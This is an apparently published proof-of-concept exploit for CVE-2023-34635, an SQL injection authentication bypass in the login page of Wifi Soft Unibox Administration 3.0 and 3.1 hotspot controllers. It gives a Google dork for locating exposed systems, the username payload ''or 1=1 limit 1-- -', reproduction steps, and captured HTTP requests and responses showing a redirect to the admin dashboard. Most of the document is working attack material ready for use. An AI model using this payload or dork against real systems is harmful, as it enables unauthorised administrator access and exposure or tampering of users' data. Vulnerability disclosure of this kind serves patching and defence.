Wifi Soft Unibox Administration 3.0 / 3.1 SQL Injection

# Exploit Title: Wifi Soft Unibox Administration 3.0 & 3.1 Login Page - Sql Injection# Google Dork: intext:"Unibox Administration 3.1", intext:"Unibox 3.0"# Date: 07/2023# Exploit Author: Ansh Jain @sudoark# Author  Contact : [email protected]# Vendor Homepage: https://www.wifi-soft.com/# Software Link:https://www.wifi-soft.com/products/unibox-hotspot-controller.php# Version: Unibox Administration 3.0 & 3.1# Tested on: Microsoft Windows 11# CVE : CVE-2023-34635# CVE URL : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34635The Wifi Soft Unibox Administration 3.0 and 3.1 Login Page is vulnerable toSQL Injection, which can lead to unauthorised admin access for attackers.The vulnerability occurs because of not validating or sanitising the userinput in the username field of the login page and directly sending theinput to the backend server and database.## How to ReproduceStep 1 : Visit the login page and check the version, whether it is 3.0,3.1, or not.Step 2 : Add this payload " 'or 1=1 limit 1-- - " to the username field andenter any random password.Step 3 : Fill in the captcha and hit login. After hitting login, you havebeen successfully logged in as an administrator and can see anyone's userdata, modify data, revoke access, etc.--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------### Login Request-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Parameters: username, password, captcha, action-----------------------------------------------------------------------------------------------------------------------POST /index.php HTTP/2Host: 255.255.255.255.host.comCookie: PHPSESSID=rfds9jjjbu7jorb9kgjsko858dUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 83Origin: https://255.255.255.255.host.comReferer: https://255.255.255.255.host.com/index.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersusername='or+1=1+limit+1--+-&password=randompassword&captcha=69199&action=Login--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------### Login Response--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------HTTP/2 302 FoundServer: nginxDate: Tue, 18 Jul 2023 13:32:14 GMTContent-Type: text/html; charset=UTF-8Location: ./dashboard/dashboardExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------### Successful Loggedin Request--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------GET /dashboard/dashboard HTTP/2Host: 255.255.255.255.host.comCookie: PHPSESSID=rfds9jjjbu7jorb9kgjsko858dUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://255.255.255.255.host.com/index.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailers--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------### Successful Loggedin Response--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------HTTP/2 200 OKServer: nginxDate: Tue, 18 Jul 2023 13:32:43 GMTContent-Type: text/html; charset=UTF-8Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheCache_control: private<!DOCTYPE html><html lang="en">html content</html>